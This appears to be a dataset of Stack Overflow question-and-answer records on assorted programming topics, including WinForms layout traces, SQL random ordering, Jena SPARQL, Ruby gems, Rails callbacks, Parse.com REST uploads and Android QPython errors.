00000081 0.28451827 Method: Void OnResize(System.EventArgs) 00000082 0.28713536 Method: Void OnSizeChanged(System.EventArgs) 00000083 0.28970191 Method: Void UpdateBounds(Int32, Int32, Int32, Int32, Int32, Int32) 00000084 0.29425862 Method: Void UpdateBounds() 00000085 0.29450893 Method: Void WmWindowPosChanged(System.Windows.Forms.Message ByRef) 00000086 0.29477015 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000087 0.29508862 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000088 0.29539761 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000089 0.29568058 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000090 0.29596806 Method: Void OnMessage(System.Windows.Forms.Message ByRef) 00000091 0.29627341 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000092 0.29659048 Method: IntPtr Callback(IntPtr, Int32, IntPtr, IntPtr) 00000093 0.29688439 Method: Boolean SetWindowPos(System.Runtime.InteropServices.HandleRef, System.Runtime.InteropServices.HandleRef, Int32, Int32, Int32, Int32, Int32) 00000094 0.29714754 Method: Void SetBoundsCore(Int32, Int32, Int32, Int32, System.Windows.Forms.BoundsSpecified) 00000095 0.29755905 Method: Void SetBoundsCore(Int32, Int32, Int32, Int32, System.Windows.Forms.BoundsSpecified) 00000096 0.29781467 Method: Void System.Windows.Forms.Layout.IArrangedElement.SetBounds(System.Drawing.Rectangle, System.Windows.Forms.BoundsSpecified) 00000097 0.29814151 Method: Void xLayoutDockedControl(System.Windows.Forms.Layout.IArrangedElement, System.Drawing.Rectangle, Boolean, System.Drawing.Size ByRef, System.Drawing.Rectangle ByRef) 00000098 0.29844967 Method: System.Drawing.Size LayoutDockedControls(System.Windows.Forms.Layout.IArrangedElement, Boolean) 00000099 0.29872790 Method: Boolean xLayout(System.Windows.Forms.Layout.IArrangedElement, Boolean, System.Drawing.Size ByRef) 00000100 0.29901370 Method: Boolean LayoutCore(System.Windows.Forms.Layout.IArrangedElement, System.Windows.Forms.LayoutEventArgs) 00000101 0.29931039 Method: Boolean Layout(System.Object, System.Windows.Forms.LayoutEventArgs) 00000102 0.29965651 Method: Void OnLayout(System.Windows.Forms.LayoutEventArgs) 00000103 0.29993618 Method: Void OnLayout(System.Windows.Forms.LayoutEventArgs) 00000104 0.30027559 Method: Void OnLayout(System.Windows.Forms.LayoutEventArgs) 00000105 0.30064937 Method: Void PerformLayout(System.Windows.Forms.LayoutEventArgs) 00000106 0.30087790 Method: Void System.Windows.Forms.Layout.IArrangedElement.PerformLayout(System.Windows.Forms.Layout.IArrangedElement, System.String) 00000107 0.30116984 Method: Void DoLayout(System.Windows.Forms.Layout.IArrangedElement, System.Windows.Forms.Layout.IArrangedElement, System.String) 00000108 0.30157101 Method: Void OnResize(System.EventArgs) 00000109 0.30196688 Method: Void OnResize(System.EventArgs) 00000110 0.30212274 Method: Void OnSizeChanged(System.EventArgs) 00000111 0.30244765 Method: Void UpdateBounds(Int32, Int32, Int32, Int32, Int32, Int32) 00000112 0.30264741 Method: Void UpdateBounds() 00000113 0.30294549 Method: Void WmWindowPosChanged(System.Windows.Forms.Message ByRef) 00000114 0.30337656 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000115 0.30359614 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000116 0.30389002 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000117 0.30451524 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000118 0.30456889 Method: Void OnMessage(System.Windows.Forms.Message ByRef) 00000119 0.30483985 Method: Void WndProc(System.Windows.Forms.Message ByRef) 00000120 0.30507788 Method: IntPtr Callback(IntPtr, Int32, IntPtr, IntPtr) 00000121 0.30540919 Method: Boolean SetWindowPos(System.Runtime.InteropServices.HandleRef, System.Runtime.InteropServices.HandleRef, Int32, Int32, Int32, Int32, Int32) 00000122 0.30566931 Method: Void SetBoundsCore(Int32, Int32, Int32, Int32, System.Windows.Forms.BoundsSpecified) 00000123 0.30598581 Method: Void SetBounds(Int32, Int32, Int32, Int32, System.Windows.Forms.BoundsSpecified) 00000124 0.30637357 Method: Void set_Height(Int32) 00000125 0.30679765 Method: Void ContainerCtrl.ResizeForm(ContainerCtrl*, WTL.CRect) 00000126 0.30718428 Method: Int32 ContainerCtrl.OnSize(ContainerCtrl*, UInt32, UInt32, Int32, Int32*) 00000127 0.30755892 Method: Int32 ContainerCtrl.ProcessWindowMessage(ContainerCtrl*, HWND__*, UInt32, UInt32, Int32, Int32*, UInt32) 00000128 0.30793831 Method: Int32 ATL.CDialogImplBaseT&lt;ATL::CWindow&gt;.DialogProc(HWND__*, UInt32, UInt32, Int32) 00000129 0.30838418 Method: Int32 ATL.CAxDialogImpl&lt;ContainerCtrl,ATL::CWindow&gt;.DialogProc(HWND__*, UInt32, UInt32, Int32) 00000130 0.30881271 Method: Int32 SetWindowPos(HWND__*, HWND__*, Int32, Int32, Int32, Int32, UInt32) 00000131 0.30922171 Method: Int32 ATL.CComControlBase.IOleInPlaceObject_SetObjectRects(ATL.CComControlBase*, tagRECT*, tagRECT*) 00000132 0.30961114 Method: Int32 ATL.IOleInPlaceObjectWindowlessImpl&lt;ContainerCtrl&gt;.SetObjectRects(ATL.IOleInPlaceObjectWindowlessImpl&lt;ContainerCtrl&gt;*, tagRECT*, tagRECT*) </code></pre> <p>Edit: Ok, it looks like the resize event on the VO container control is firing on this one when it's shown to the user, but not on the others.</p> <p>Confusing much?!?</p>
80787	0	Active threads in ExecutorService <p>Any ideas how to determine the number of active threads running in ExecutorService?</p>
19523981	0	 <p>This appears to be basically a duplicate of <a href="http://stackoverflow.com/questions/52964/sql-server-random-sort/52976#52976">SQL Server Random Sort</a> which is basically a duplicate of <a href="http://stackoverflow.com/questions/19412/how-to-request-a-random-row-in-sql">How to request a random row in SQL?</a>.</p> <p>The latter has a comprehensive answer for multiple RDBMSs referencing this post:</p> <p><a href="http://www.petefreitag.com/item/466.cfm" rel="nofollow">SQL to Select a random row from a database table</a></p> <p>An answer for Microsoft SQL Server would be:</p> <p>SELECT TOP 10 * FROM table ORDER BY NEWID();</p> <p>This will not perform well on large tables. It scans the entire table, generating a unique number (a 16-bit GUID) for each row, and then sorts the results by that unique number.</p> <p>Simply ordering by RAND() in SQL Server will not result in a random list of records. RAND() is evaluated once at the beginning of the statement, so you are effectively ordering by a constant, which isn't really ordering at all. You'll get the same results without the ORDER BY. Indeed, in my instance of SQL Server 2005, the query plans and results were the same with and without the ORDER BY RAND().</p> <p>RAND() in SQL Server takes a seed value, so you might think that you could pass a varying table column value into the RAND function and get random results. In some sense, you can. You could pass an IDENTITY or other unique column into the RAND function and you won't get the same order as without. And the order will be random in the sense that it appears so to a casual observer. But it's repeatable. The RAND() function in SQL Server will always return the same value for the same seed on the same connection:</p> <p>"For one connection, if RAND() is called with a specified seed value, all subsequent calls of RAND() produce results based on the seeded RAND() call."</p> <p><a href="http://technet.microsoft.com/en-us/library/ms177610.aspx" rel="nofollow">http://technet.microsoft.com/en-us/library/ms177610.aspx</a></p> <p>So while you would get what appeared to be a random list, if you executed it multiple times in the same connection, you would get the same list. Depending on your requirements, that might be good enough.</p> <p>Based on my limited tests on a small table, the RAND with a unique column seed had a very slightly lower estimated query cost.</p>
19979525	0	 <p>You'll need to make the messages in your application use a custom form. That form will need to show the message as well as have the check box. Then you'll want to store that information somewhere. I'm going to say in the application configuration file.</p> <p>So, to save the data in the configuration file, first build a few extension methods to make it easier:</p> <pre><code>public static class Extensions { public static void SetValue(this KeyValueConfigurationCollection o, string key, string val) { if (!o.AllKeys.Contains(key)) { o.Add(key, val); } else { o[key].Value = val; } } public static string GetValue(this NameValueCollection o, string key, object defaultVal = null) { if (!o.AllKeys.Contains(key)) { return Convert.ToString(defaultVal); } return o[key]; } } </code></pre> <p>Then, when you want to read that value to determine if you ought to show the message, do this:</p> <pre><code>var val = (bool)ConfigurationManager.AppSettings.GetValue("ShowTheMessage"); </code></pre> <p>and then when you want to save the value, do this:</p> <pre><code>var config = ConfigurationManager.OpenExeConfiguration( ConfigurationUserLevel.None); var app = config.AppSettings.Settings; app.SetValue("ShowTheMessage", checkBox.Checked); config.Save(ConfigurationSaveMode.Modified); ConfigurationManager.RefreshSection("appSettings"); </code></pre>
15371413	0	How to convert a SPARQL query into an RDF file in Jena? <p>I am trying to output an RDF/XML file directly from an SPARQL query from an Oracle database. The query is working fine as I've verified the results in the ResultSet object.</p> <p>However, I'm not sure how to proceed from there. I think I want to create a Statement for each QuerySolution and then add it to the Model. However I can't figure out a way to do it, because I can't find a way to get the predicate value. </p> <p>Any help would be appreciated, as well as hints whether I am going down the right path.</p> <pre><code>QueryExecution qe = QueryExecutionFactory.create(query, oracleSemModel) ; ResultSet results = qe.execSelect(); Model model = ModelFactory.createDefaultModel(); while (results.hasNext()) { QuerySolution result = results.next(); Resource subject = result.getResource("s"); // get the subject Property predicate = result.getProperty("p"); // &lt;-- THIS FUNCTION DOESN'T EXIST RDFNode object = result.get("o"); // get the object Statement stmt = ResourceFactory.createStatement(subject, predicate, object); model.add(stmt); } model.write(System.out, "RDF/XML-ABBREV"); </code></pre>
28530996	0	 <p>The short answer is no. Welcome to the the fun and exiting world of 1991:) VBA is a subset of VB6. Inheritance was not supported at that time, and because Microsoft based VBA on VB6 and then abandoned* it when they went to .Net, that means it likely never will be:(</p> <p>*They did update it somewhat to cope w/64 bit API calls, but that was pretty much it.</p>
21949630	0	 <p>Say you have two versions of the gem <code>foo</code> installed:</p> <pre><code>$ gem list foo *** LOCAL GEMS *** foo (2.0.1, 2.0.0) </code></pre> <hr> <p>If you use only <code>require</code>, the newest version will be loaded by default:</p> <pre><code>require 'foo' # =&gt; true Foo::VERSION # =&gt; "2.0.1" </code></pre> <hr> <p>If you use <code>gem</code> before calling <code>require</code>, you can specify a different version to use:</p> <pre><code>gem 'foo', '2.0.0' # =&gt; true require 'foo' # =&gt; true Foo::VERSION # =&gt; "2.0.0" </code></pre> <hr> <p><strong>Note</strong>: using <code>gem</code> without subsequently calling <code>require</code> does not load the gem.</p> <pre><code>gem 'foo' # =&gt; true Foo::VERSION # =&gt; NameError: uninitialized constant Foo </code></pre>
10218609	0	 <p>The Android Open Source Project is your friend. You can make your own build of the stock Android Gallery app and implement this feature yourself.</p> <p>Have fun.</p> <p><a href="http://source.android.com/source/downloading.html" rel="nofollow">http://source.android.com/source/downloading.html</a></p>
28149552	0	 <p>I think with the .tif format you have to use the command </p> <pre><code>[X,map] = imread('imagename.tif') newmap = rgb2gray(map) imshow(X,newmap) </code></pre> <p>Link to online Matlab help where's this exact example: <a href="http://it.mathworks.com/help/matlab/ref/rgb2gray.html" rel="nofollow">RGB to gray</a></p>
21355142	0	how to remove index.php?action=show&id=1234 from url on localhost <p>My URL is localhost/merge/Clients/index.php?action=show&amp;id=12 .. all i want to make it like localhost/merge/Clients</p> <pre><code>RewriteEngine on RewriteBase /Clients/ RewriteCond %{THE_REQUEST} ^.*\/index\.php\ HTTP/ RewriteRule ^(.*)index\.php$ /$1 [R=301,NC] </code></pre>
21548018	0	Bulk Import Json into Parse.com backend via rest api, almost there <p>Evening all,</p> <p>I just have a quick questions about bulk importing via the rest api. I've tried various methods to automate looping through a file and adding the results to Parse backend without success. One example:</p> <p>curl -X POST \ -H "X-Parse-Application-Id: Removed" \ -H "X-Parse-REST-API-Key: Removed" \ -H "Content-Type: application/json" \ --data '{</p> <pre><code>"requests": [ { "method": "POST", "path": "/1/classes/testnew", "body": { @Posts.json } } ] </code></pre> <p>}' \ <a href="https://api.parse.com/1/batch" rel="nofollow">https://api.parse.com/1/batch</a></p> <p>I've tried many other Curl commands and also checking the network tab in parse when uploading a .json file, it looks like when you click the upload it is using the form multipart command to upload the data in a .json file. Does anyone know of a way to automate uploading of data from a .json file into parse without having to manually execute the batch/individual calls as described in the rest api documentation via cUrl?</p> <p>Any help would be seriously appreciated :-).</p> <p>Thanks,</p> <p>Gerard</p>
1415446	0	 <p>Is the performance due to network latency rather than the approach you're taking? What kind of volumes are you dealing with etc.</p> <p>I note they won't do replication or log shipping but could you talk them in to do doing some scheduled bulk exports which could be compressed and sent across for an automated routine at the other end to do a bulk insert?</p>
35844227	0	While loop in shell <p>I am trying to run while loop in shell </p> <pre><code> NODESTATE="0" LOOPC="1" while [ "$NODESTATE" -ne "UP" ]; do echo "node is up " </code></pre> <p>but it is throwing me an error with [: UP: integer expression expected or shoud i use != instead of -ne </p>
9213719	0	How to append a RANDOM string to all occurrences of another string in file <p>I'm trying to write a bash script that would modify all occurrences of a certain string in a file. </p> <p>I have a file with a bunch of text, in which urls occur. All urls are in the following format:<code>http://goo.gl/abc23</code> (that's goo.gl/, followed by 4 OR 5 alphanumeric characters).</p> <p>What I'd like do is append a string to all urls. I managed (with the help of user <a href="http://stackoverflow.com/users/34426/dan-fego">Dan Fego</a>) to get this done with sed, but it only works by appending a static string. </p> <p>What I'm looking for is a way to append a <strong>different string to each occurrence</strong>. Let's say I have a function <code>generatestring</code> that echoes a different string every time. I'd like to append a different generated string to each url. <code>http://goo.gl/abc23</code> would become <code>http://goo.gl/abc23?GeneratedString1</code>, <code>http://goo.gl/JB007</code> would become <code>http://goo.gl/JB007?GeneratedString2</code> and so on. </p> <p>Does anyone know if this can be done? I've been told that perl is the way to go, but I have zero experience with perl. That's why I'm asking here.</p> <p>Thanks in advance for any help.</p>
29332179	0	 <p>Ok thanks to @David Arenburg for his suggestion. I've modified it slightly to arrive at the following for my preferred solution</p> <pre><code> text &lt;- NULL for(i in 1:length(m.names)){ text &lt;- paste0(text, m.names[i], " = ", m.names[i], " + i.", m.names[i], ", ") } expr &lt;- parse(text = paste0("\":=\"(", substr(text, 1, nchar(text)-2), ")" )) res2 &lt;- DT1[data2, eval(expr)] </code></pre>
2645871	0	 <p>One goal of Groovy is to have transparent interoperability with Java. Groovy is by design "a Java dependent language with scripting features". However, I don't think that these features are minor - Groovy has many features that are not found in static programming languages (such as Java).</p> <p>To summarize: If you don't care at all about Java, then use a more general-purpose scripting language, such as Python or Perl. If you want to use the Java code-base in a script-ish way, Groovy is a good option.</p>
17193805	0	 <p>As far as there has always to be a selected element, I think that "unselect" option cannot exist (because might provoke cases where no element is selected). The usual proceeding is just selecting other thing. In this case, I guess that selecting any cell would work for you:</p> <pre><code>Range("A1").Select </code></pre> <p>Regarding the creation of the button, first of all, this code is wrong (and is actually triggering an error on my computer). If you want to use <code>Select</code> you have to remove the <code>Set btn =</code> part. Other than that, you have to pass these arguments but can remove the ActiveSheet part as far as it is implicit (it is recommendable to rely on the actual names of the worksheets; but if the situation is "under control" you can rely on ActiveSheet).</p> <pre><code>Set btn = ActiveSheet.Buttons.Add(Columns(7).Left, Rows(2).Top, Columns(1).Width * 2, Rows(1).Height * 2) ActiveSheet.Buttons.Add(Columns(7).Left, Rows(2).Top, Columns(1).Width * 2, Rows(1).Height * 2).Select </code></pre>
30594169	0	 <p>You're trying to do this:</p> <pre><code>switch (responsegen) { //... } else //... </code></pre> <p>You can't follow a <code>switch</code> statement with an <code>else</code>. <code>switch</code> uses the <code>default</code> clause within its list of cases as a logical "else". (Which you're using already, so what you're doing doesn't even semantically make sense.)</p> <p>Maybe you meant to attach the <code>else</code> to the preceding <code>if</code> block?:</p> <pre><code>if (answer == (num1 * num2)) { //... switch (responsegen) { //... } // &lt;-- first close the switch block } else // &lt;-- then continue the if block //... </code></pre> <p>As you continue learning about programming, you'll find that using consistent and clean use of whitespace (carriage returns, indentation, etc.) makes things like this <em>a lot</em> easier to find.</p>
27524018	0	 <pre><code> belongs_to :product, touch: true </code></pre> <p>and</p> <pre><code> after_save { product.touch } </code></pre> <p>do the same thing. However touch won't be called on <code>create</code> so you might need to use an <code>after_create</code> callback:</p> <pre><code>after_create :touch_product def touch_product self.product.touch end </code></pre> <p>for update and destroy <code>belongs_to :product, touch: true</code> should be enough.</p> <p>More on <code>touch</code> below this line:</p> <hr> <p><a href="http://apidock.com/rails/ActiveRecord/Persistence/touch" rel="nofollow">http://apidock.com/rails/ActiveRecord/Persistence/touch</a></p> <blockquote> <p>Please note that no validation is performed and only the after_touch, after_commit and after_rollback callbacks are executed.</p> </blockquote> <p>Also as far as I understand the way <code>touch</code> works, is whenever you update/destroy a record, the one in relation will be <code>touch</code>ed and will only save the record with the updated_at/on attributes set to the current time, nothing more than this. </p> <hr> <p>From <strong>Active Record Callbacks</strong> <a href="http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html" rel="nofollow">http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html</a></p> <blockquote> <p>Additionally, an after_touch callback is triggered whenever an object is touched.</p> </blockquote> <p>so you can use this callback in product model to do whatever you need when an <code>image_product</code> will be destroyed/updated.</p> <hr> <p>From <strong>ActiveRecord::Associations::ClassMethods</strong> <a href="http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html" rel="nofollow">http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html</a></p> <blockquote> <p>:touch If true, the associated object will be touched (the updated_at/on attributes set to now) when this record is either saved or destroyed. If you specify a symbol, that attribute will be updated with the current time in addition to the updated_at/on attribute.</p> </blockquote>
26816740	0	 <p>This is my answer: the key point is forcing an integer as the index of the <code>seen</code> array by adding <code>0</code> to $1, that by appropriate use of ls and FS is guaranteed to be an integer.</p> <p>About taking track of the maximum value, the input <em>should</em> be sorted, but who knows...</p> <h3><em>Edit</em></h3> <p><del><code>ls [0-9][0-9][0-9][0-9].* | awk -F. '</code></del></p> <p>To faithfully take into account the OP request, I've modified the 1st line of my code</p> <pre><code>ls [0-9][0-9][0-9][0-9].{png,jpg} | awk -F. ' /./ { seen[$1+0] = 1; m = $1&gt;m ? $1 : m } END { for(i=0;i&lt;m;i++) { printf( seen[i]? "" : "No file named %4.4d.{png,jpg} in here\n",i)}}' </code></pre>
12938327	0	 <p>Setting the container to position:relative and the span to 100% seemed to work.</p> <pre><code>.rw-words{ display: block; position: relative; } .rw-words-1 span{ position: absolute; width: 100%; ... } </code></pre> <p><a href="http://jsfiddle.net/willemvb/9Xubs/" rel="nofollow">http://jsfiddle.net/willemvb/9Xubs/</a></p>
19717616	0	 <p>The fact that you’re using Wine makes no difference in this particular context, which leaves requirements 1 and 2. Requirement 2 –</p> <blockquote> <p>I do not want the process to crash once it exceeds the limit. I want it to use HDD page swap.</p> </blockquote> <p>– is known as limiting the <em>resident set size</em> or <em>rss</em> of the process, and it’s actually rather nontrivial to do on Linux, as is demonstrated by <a href="http://stackoverflow.com/questions/3043709/resident-set-size-rss-limit-has-no-effect">a question asked in 2010</a>. You’ll need to set up <a href="https://www.kernel.org/doc/Documentation/cgroups/cgroups.txt" rel="nofollow">Linux control groups (cgroups)</a>. Fortunately, <a href="http://stackoverflow.com/questions/3043709/resident-set-size-rss-limit-has-no-effect#6365534">Justin L.’s answer</a> gives a brief rundown on how to do so. Note that</p> <ul> <li>instead of <code>jlebar</code>, you should use your own Unix user name, and</li> <li>instead of <code>your/program</code>, you should use <code>wine /path/to/Windows/program.exe</code>.</li> </ul> <p>Using cgroups will also satisfy your other requirements – you can start as many instances of the program as you wish, but only those which you start with <code>cgexec -g memory:limited</code> will be limited.</p>
7725822	0	 <p>If it were</p> <pre><code>if (mNotification!=null) { mNotification(this, null); } </code></pre> <p>mNotification could be set to null by another thread between <code>if (mNotification!=null)</code> and <code>mNotification(this, null);</code></p>
22082547	0	 <p>I can think of two and a half pure CSS solutions.</p> <p>First solution requires to wrap all four div's in a container element with <code>position: relative</code> set to it.</p> <p>Then the blue div can be positioned absolutely and forced to inherit the containers/wrappers height (which comes from the total height of the yellow and green div's) like so:</p> <pre><code>position: absolute; top: 0; right: 0; bottom: 0; </code></pre> <p>The width of the blue div can be set explicitly, or with <code>left</code>, depending on how responsive the layout needs to be. And the horizontal space taken up by the blue div can be compensated on the wrapper with <code>padding-right</code>.</p> <p>But no-one really wants extra DOM elements to achieve proper layout, do they.</p> <p>Another option would be to set <code>position: relative</code> on the green div and place the blue div as a child of the green div in the DOM. Then position the blue div so:</p> <pre><code>position: absolute; left: 100%; top: -x; /* Whatever is the height of the top yellow div and margin between*/ bottom: x; /* Whatever is the height of the bottom yellow div and margin between */ width: x; /* Set explicitly for example */ </code></pre> <p>This is possible due to the fact that yellow div's are of fixed height.</p> <p>And extending it further, the entire blue div can be accomplished by the <code>::after</code> pseudo element on the green div (same CSS applies as for the second solution), but it's suitability depends on what the contents of the blue div need to be.</p>
2087275	0	Simple clean CMS for programming project website <p>What is the best yet simple CMS for closed-source programming project hosting? I'd like to keep webpage plain and simple, include screenshot, basic features and blog headlines on main page, then have project blog, screenshots gallery, feature list and downloads on separate pages.</p> <p>My goal is somethong between <a href="http://www.videolan.org/vlc/index.html" rel="nofollow noreferrer">http://www.videolan.org/vlc/index.html</a> , <a href="http://www.7-zip.org/" rel="nofollow noreferrer">http://www.7-zip.org/</a> and <a href="http://winmerge.org/" rel="nofollow noreferrer">http://winmerge.org/</a></p> <p>Suitable themes for general-purpose CMSes are welcome too, but I'm affraid Wordpress or Drupal may too complex for such purposes. Or am I wrong? If I am wrong, please do not post "+1 for WP", but please link theme that meets requirements.</p> <p>I'd like to host webpage on my own, so Google Code and similar does not fit.</p>
32250351	0	 <p>we faced same problem on Galaxy s4 with 5.0 update, after trying many solutions we finally changed protocol of url from http to rtsp (e.g. "<a href="http://some/file/url" rel="nofollow">http://some/file/url</a>" with "rtsp://some/file/url")and it resolved the issue</p>
32013700	0	 <p>I highly recommend you to use jQuery or a proper JavaScript validator library for your form. Here is a simple example of how you can validate an input field with jQuery.</p> <p>HTML part:</p> <pre><code>&lt;input type="text" id="username"&gt; &lt;input type="button" id="sendForm" value="send"&gt; &lt;p id="usernameError"&gt;&lt;/p&gt; </code></pre> <p>jQuery part:</p> <pre><code>$(function () { $('#sendForm').on("click", function () { validateUserForm(); }); }); function validateUserForm() { var username = $('#username').val(); if (username == '') { $('#usernameError').html('Please insert your username!'); } else { $('#usernameError').html(''); } } </code></pre> <p>And here is a functional jsFiddle: <a href="https://jsfiddle.net/1bk3ufhd/" rel="nofollow">https://jsfiddle.net/1bk3ufhd/</a></p>
6582792	0	 <pre><code>document.getElementById("theButton").onclick(); </code></pre> <p>Here is an <a href="http://jsfiddle.net/w2Vzu/" rel="nofollow">example fiddle</a>.</p>
37248621	0	 <p>Please get the HTTP status from the response as below.</p> <pre><code>URL url = new URL("http://example.com"); HttpURLConnection connection = (HttpURLConnection)url.openConnection(); connection.setRequestMethod("GET");//Or POST, depending on your service connection.connect(); int code = connection.getResponseCode(); </code></pre> <p>This should return a 401 if your web service is a Restful service.</p>
13697945	0	 <p>You Can not disable camera in your regular application.but it is possible to disable using admin setting in ICS and higher versions..check it here <a href="http://developer.android.com/guide/topics/admin/device-admin.html" rel="nofollow">http://developer.android.com/guide/topics/admin/device-admin.html</a></p>
28825606	0	 <p>There's little interest in storing the <code>directory_service</code> object, because it is created without making calls to external APIs.</p> <p>What you should store is the <code>http_auth</code> object, as this one can be costly to generate.</p> <p>In addition, tokens from service accounts can only be requested a certain number of times per second. I do not think the exact limit is documented somewhere but if you try to generate too many tokens from the same service account at the same time you will get a <code>Rate limit exceeded</code> error.</p> <p>The good practice is to store the tokens in some shared storage service. It can be memcache or the Datastore. The Google API client comes with <a href="https://developers.google.com/api-client-library/python/guide/google_app_engine#Storage" rel="nofollow">an App Engine specific <code>StorageByKeyName</code> class</a> that you should use. It is backed by the Datastore and uses Memcache as an optional cache layer.</p>
30565072	0	 <p>I am not sure whether it is the solution or not,but my value could get and insert each textbox to each particular row without problem, thanks for the help from Peter Campbell and Mairaj Ahmad.</p> <p>hold my transactionNo as following: Dim lblTransactionNo As Label = DirectCast(row.FindControl("lblTransactionNo"), Label) </p> <pre><code>sqlQuery = "Update WebTpay_Trn set RedeemedQuantity = RedeemedQuantity + '" &amp; amtRedeem &amp; "' " sqlQuery = sqlQuery + " WHERE TransactionNo = '" &amp; lblTransactionNo.Text &amp; "' " 'sqlQuery = String.Format("UPDATE WebTpay_Trn set RedeemededQuantity = {0} WHERE webtPay_trn.TransactionNo = {1}", amtRedeem, lbltransactionNo) Dim cmd As SqlCommand = New SqlCommand(sqlQuery, conn) conn.Open() cmd.ExecuteNonQuery() conn.Close() </code></pre>
17684793	0	Stacked shield doesn't have enough power -- dim PWR light <p>I'm stacking a <a href="http://www.seeedstudio.com/depot/bluetooth-shield-p-866.html" rel="nofollow">SeeedStudio Bluetooth Shield</a> on top of a <a href="https://www.olimex.com/Products/Duino/Shields/SHIELD-EKG-EMG/resources/SHIELD-EKG-EMG.pdf" rel="nofollow">Olimex EKG/EMG Shield</a>.</p> <p>At first, I stacked the two loading only bluetooth shield demo code and all the LEDs lit up brightly and worked fine.</p> <p>Now (having only taken a shield off and put it back on), the lower shield's (Olimex) power LED appears dim and the upper shield (Bluetooth) is not powered at all. The lower shield's power LED brightens when I remove the top shield.</p> <p>Not sure what happened here -- both shields work perfectly if they are the ONLY shield on top of the Arduino. Is there any way for me to check the output voltage coming from the lower shield (Olimex) to the higher shield (Bluetooth) with a multimeter to see if it's sufficient (3.3V)?</p>
19573491	0	 <p>From the curl manual:</p> <pre><code> -k, --insecure (SSL) This option explicitly allows curl to perform "insecure" SSL connections and transfers. All SSL connections are attempted to be made secure by using the CA certificate bundle installed by default. This makes all connections considered "insecure" fail unless -k, --insecure is used. </code></pre> <p>So running without <code>-k</code> might reveal the problem on curl as well.</p>
40407307	0	 <p>I know this is a bit late but I had a similar problem and I fixed it by adding an <strong>identity</strong> element to the app.config file for the service's endpoint. Example:</p> <pre><code>&lt;identity&gt; &lt;userPrincipalName value="username@domain" /&gt; &lt;/identity&gt; </code></pre> <p>The for me it worked even with an empty value for <strong>userPrincipalName</strong>:</p> <pre><code>&lt;identity&gt; &lt;userPrincipalName value="" /&gt; &lt;/identity&gt; </code></pre> <p>Full endpoint element:</p> <pre><code>&lt;endpoint address="net.tcp://localhost:9876/my-service/tcp" ... &gt; &lt;identity&gt; &lt;userPrincipalName value="" /&gt; &lt;/identity&gt; &lt;/endpoint&gt; </code></pre>
38820503	0	Not able to call a web service hosted in Service Fabric <p>I've published a OWIN hosted web service to my remote cluster. I'm using a custom port 4444 created during the cluster creation. I see the AppPort rule for 4444. I'm also able to remote to one of the VM, and invoke the service locally. However, I'm still not able to call it remotely. It hangs for a while and doesn't return anything.</p>
10059311	0	 <p>Maybe something like this?</p> <pre><code>public TValue RetryHelper&lt;T, TValue&gt;(Func&lt;ObjectSet&lt;T&gt;, TValue&gt; func) where T : class { using (MyEntities dataModel = new MyEntities()) { var entitySet = dataModel.CreateObjectSet&lt;T&gt;(); return FancyRetryLogic(() =&gt; { return func(entitySet); }); } } public User GetUser(String userEmail) { return RetryHelper&lt;User, User&gt;(u =&gt; u.FirstOrDefault(x =&gt; x.UserEmail == userEmail)); } </code></pre>
34285530	0	 <p>You can do it using <code>IF/ELSE</code> conditions.</p> <p>Try</p> <pre><code>&lt;?php $query = $connection-&gt;query('SELECT * FROM users'); while($r = $query-&gt;fetch()) { if($r['status'] == 1) $r['status'] = 'yes'; if($r['status'] == 0) $r['status'] = 'no'; echo "&lt;tr&gt; &lt;td class=\"danger\"&gt;$r[id]&lt;/td&gt; &lt;td class=\"success\"&gt;$r[username]&lt;/td&gt; &lt;td class=\"warning\"&gt;$r[email]&lt;/td&gt; &lt;td class=\"info\"&gt;$r[status]&lt;/td&gt; &lt;/tr&gt;"; } ?&gt; </code></pre>
17670269	0	 <p>Try this tutorial: <a href="http://idevzilla.com/2010/10/04/uiscrollview-and-zoom/" rel="nofollow">http://idevzilla.com/2010/10/04/uiscrollview-and-zoom/</a></p> <p>It addresses simple zooming and centering.</p>
29268589	0	 <p>Use the .on() function for this type of events. Check it out:</p> <pre><code> $(function() { // Clickable Dropdown $('.click-nav &gt; ul').toggleClass('no-js js'); $('.click-nav .js ul').hide(); $('.click-nav .js').click(function(e) { $('.click-nav .js ul').slideToggle(200); $('.clicker').toggleClass('active'); e.stopPropagation(); }); $(".greybox").on("click", "li", function(){ alert("Item Clicked"); /* if ($('.click-nav .js ul').is(':visible')) { alert('test'); $('.click-nav .js ul', this).slideUp(slow); $('.clicker').removeClass('active'); }*/ }); }); </code></pre>
35002830	1	Qpython not working right (beginner) <p>Using qpython on on an asus zenpad 10 z300. After troubleshooting what turned out to be a common raw input problem and learning about console mode i felt encouraged. Tried console mode in the editor and it generated this code:</p> <pre><code>#-*-coding:utf8;-*- #qpy:2 #qpy:console print "This is console module" </code></pre> <p>I ran this with no additional code and got this result:</p> <pre><code>/data/data/com.hipipal.qpyplus/files/bin/qpython-android5.sh "/storage/emulated/0/com.hipipal.qpyplus/projects/.last_tmp.py" &amp;&amp; exit hon-android5.sh "/storage/emulated/0/com.hipipal.qpyplus/projects/.last_tmp.py" &amp;&amp; exit &lt; File "/data/data/com.hipipal.qpyplus/files/bin/python-android5", line 1 ELF ^ SyntaxError: invalid syntax 1|u0_a134@P023_1:/ $ </code></pre> <p>Any ideas?</p>
